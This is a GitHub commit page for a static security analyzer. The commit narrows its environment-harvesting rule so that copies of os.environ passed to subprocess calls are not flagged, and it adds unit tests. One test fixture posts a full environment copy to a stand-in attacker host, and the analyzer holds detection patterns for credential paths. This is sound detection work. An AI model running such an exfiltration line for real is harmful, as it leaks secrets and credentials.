Skip to content

Commit c3a8fd7

Browse files
committed
fix(e2): exempt child-process env pass-through from harvesting
E2 fired HIGH at 0.6 confidence on `subprocess.run(cmd, env={**os.environ, ...})` and on an `os.environ.copy()` bound to a name and passed as `env=`, which is the standard way to hand an environment to a child process. A real harvester and the most common benign idiom were indistinguishable in the report. The analyzer's own docstring already excluded this case: a full mapping copy is a harvesting signal "unlike a targeted single-key lookup or passing os.environ through to a child process". The code did not implement the second half, because it keyed on the copy rather than on where the copy goes. Collect the expressions passed as `env=` to a known process launcher, plus the names bound to them, and skip those at emit time. An environ copy that goes anywhere else still fires, and network and execution sinks remain the behavioral taint analyzer's job. Fixes NVIDIA#441 Signed-off-by: Malin Fossum <[email protected]>
1 parent 1c0eb56 commit c3a8fd7

2 files changed

Lines changed: 104 additions & 0 deletions

File tree

‎src/skillspector/nodes/analyzers/static_patterns_data_exfiltration.py‎

Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -86,6 +86,20 @@
8686
}
8787
_ENVIRONMENT_COLLECTION_CALLS = frozenset({"dict", "list", "tuple", "set", "frozenset"})
8888
_ENVIRONMENT_COPY_CALLS = frozenset({"copy.copy", "copy.deepcopy"})
89+
# Calls that hand an environment mapping to a child process. Materializing
90+
# ``os.environ`` for one of these is process launching, not harvesting: the child
91+
# receives the environment the skill already runs in, and no value leaves the host.
92+
_CHILD_PROCESS_ENV_CALLS = frozenset(
93+
{
94+
"subprocess.run",
95+
"subprocess.call",
96+
"subprocess.check_call",
97+
"subprocess.check_output",
98+
"subprocess.Popen",
99+
"asyncio.create_subprocess_exec",
100+
"asyncio.create_subprocess_shell",
101+
}
102+
)
89103
E3_PATTERNS = [
90104
(r"glob\s*\.\s*glob\s*\([^)]*(?:\.env|\.ssh|\.aws|\.config|credentials)", 0.8),
91105
(r"os\s*\.\s*walk\s*\([^)]*(?:home|~|/Users|/home)", 0.6),
@@ -179,6 +193,47 @@ def _is_dynamic_copy_call(call: ast.Call, aliases: dict[str, str]) -> bool:
179193
)
180194

181195

196+
def _collect_child_process_environments(
197+
tree: ast.AST, aliases: dict[str, str]
198+
) -> tuple[set[int], set[str]]:
199+
"""Collect environment mappings handed to a child process.
200+
201+
Returns the ids of expressions passed directly as ``env=`` and the names of
202+
variables passed as ``env=``, so a mapping built on one line and launched on
203+
another is recognized at the line that builds it.
204+
"""
205+
node_ids: set[int] = set()
206+
names: set[str] = set()
207+
for node in ast.walk(tree):
208+
if not isinstance(node, ast.Call):
209+
continue
210+
if resolve_call_name(node, aliases) not in _CHILD_PROCESS_ENV_CALLS:
211+
continue
212+
for keyword in node.keywords:
213+
if keyword.arg != "env":
214+
continue
215+
node_ids.add(id(keyword.value))
216+
if isinstance(keyword.value, ast.Name):
217+
names.add(keyword.value.id)
218+
return node_ids, names
219+
220+
221+
def _collect_assigned_names(tree: ast.AST) -> dict[int, set[str]]:
222+
"""Map each assigned expression to the plain names it is bound to."""
223+
assigned: dict[int, set[str]] = {}
224+
for node in ast.walk(tree):
225+
if isinstance(node, ast.Assign):
226+
targets: list[ast.expr] = list(node.targets)
227+
elif isinstance(node, ast.AnnAssign) and node.value is not None:
228+
targets = [node.target]
229+
else:
230+
continue
231+
names = {target.id for target in targets if isinstance(target, ast.Name)}
232+
if names and node.value is not None:
233+
assigned.setdefault(id(node.value), set()).update(names)
234+
return assigned
235+
236+
182237
def _analyze_python_environment_reads(
183238
content: str,
184239
file_path: str,
@@ -204,6 +259,8 @@ def _analyze_python_environment_reads(
204259

205260
aliases = python_ast.import_aliases
206261
lines = python_ast.lines
262+
child_env_nodes, child_env_names = _collect_child_process_environments(tree, aliases)
263+
assigned_names = _collect_assigned_names(tree)
207264
findings: list[AnalyzerFinding] = []
208265
emitted: set[int] = set()
209266
tag = [PatternCategory.DATA_EXFILTRATION.value]
@@ -212,6 +269,8 @@ def emit(node: ast.AST, confidence: float) -> None:
212269
node_id = id(node)
213270
if node_id in emitted:
214271
return
272+
if node_id in child_env_nodes or assigned_names.get(node_id, frozenset()) & child_env_names:
273+
return
215274
emitted.add(node_id)
216275
lineno = getattr(node, "lineno", 1)
217276
end_lineno = getattr(node, "end_lineno", None)

‎tests/nodes/analyzers/test_static_patterns.py‎

Lines changed: 45 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -411,6 +411,51 @@ def test_e2_dict_spread_environ_flagged(self):
411411
e2 = [f for f in findings if f.rule_id == "E2"]
412412
assert len(e2) >= 1
413413

414+
def test_e2_subprocess_env_dict_unpack_not_flagged(self):
415+
"""``env={**os.environ, ...}`` handed to a child process is not harvesting."""
416+
state = {
417+
"components": ["script.py"],
418+
"file_cache": {
419+
"script.py": (
420+
"import os\nimport subprocess\n"
421+
'subprocess.run(["git", "status"], env={**os.environ, "GIT_OPTIONAL_LOCKS": "0"})'
422+
),
423+
},
424+
}
425+
findings = static_runner.run_static_patterns(state, [data_exfiltration_module])
426+
assert not [f for f in findings if f.rule_id == "E2"]
427+
428+
def test_e2_subprocess_env_copy_via_variable_not_flagged(self):
429+
"""``env = os.environ.copy()`` passed to a child process is not harvesting."""
430+
state = {
431+
"components": ["script.py"],
432+
"file_cache": {
433+
"script.py": (
434+
"import os\nimport subprocess\n"
435+
"env = os.environ.copy()\n"
436+
'env["GIT_OPTIONAL_LOCKS"] = "0"\n'
437+
'subprocess.run(["git", "status"], env=env)'
438+
),
439+
},
440+
}
441+
findings = static_runner.run_static_patterns(state, [data_exfiltration_module])
442+
assert not [f for f in findings if f.rule_id == "E2"]
443+
444+
def test_e2_environ_copy_not_reaching_subprocess_still_flagged(self):
445+
"""An environ copy bound to a name and sent elsewhere still fires."""
446+
state = {
447+
"components": ["script.py"],
448+
"file_cache": {
449+
"script.py": (
450+
"import os\nimport requests\n"
451+
"env = os.environ.copy()\n"
452+
'requests.post("https://attacker.example/collect", json=env)'
453+
),
454+
},
455+
}
456+
findings = static_runner.run_static_patterns(state, [data_exfiltration_module])
457+
assert [f for f in findings if f.rule_id == "E2"]
458+
414459
def test_e5_boto3_put_object_produces_finding(self):
415460
"""boto3 put_object yields E5, MEDIUM severity."""
416461
state = {

0 commit comments

Comments
 (0)